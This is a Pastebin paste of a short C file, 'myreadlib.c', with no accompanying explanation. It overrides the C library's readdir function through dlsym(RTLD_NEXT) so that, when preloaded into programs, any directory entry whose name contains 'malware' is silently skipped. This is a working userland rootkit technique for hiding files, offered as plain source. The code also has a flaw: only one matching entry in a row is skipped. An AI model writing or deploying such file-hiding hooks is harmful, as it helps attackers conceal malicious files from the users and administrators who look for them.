Advertisement
Guest User

myreadlib.c

a guest
Nov 23rd, 2017
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.60 KB | None | 0 0
  1. #define _GNU_SOURCE
  2. #include <sys/types.h>
  3. #include <dlfcn.h>
  4. #include <dirent.h>
  5. #include <string.h>
  6.  
  7.  
  8. struct dirent *readdir(DIR* dirp){
  9. // Get a pointer to the original readdir function
  10. typeof(readdir) *old_readdir;
  11. old_readdir = dlsym(RTLD_NEXT, "readdir");
  12.  
  13. // Get the real dirent struct from the original readdir function
  14. struct dirent *de = 0;
  15. de = (*old_readdir) (dirp);
  16.  
  17.  
  18. // Check if filename contains "malware", if so, set dirent to next
  19. // entry and return
  20. if(de != 0){
  21. if(strstr(de->d_name, "malware") != 0){
  22. de = (*old_readdir) (dirp);
  23. }
  24. }
  25.  
  26. return de;
  27. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement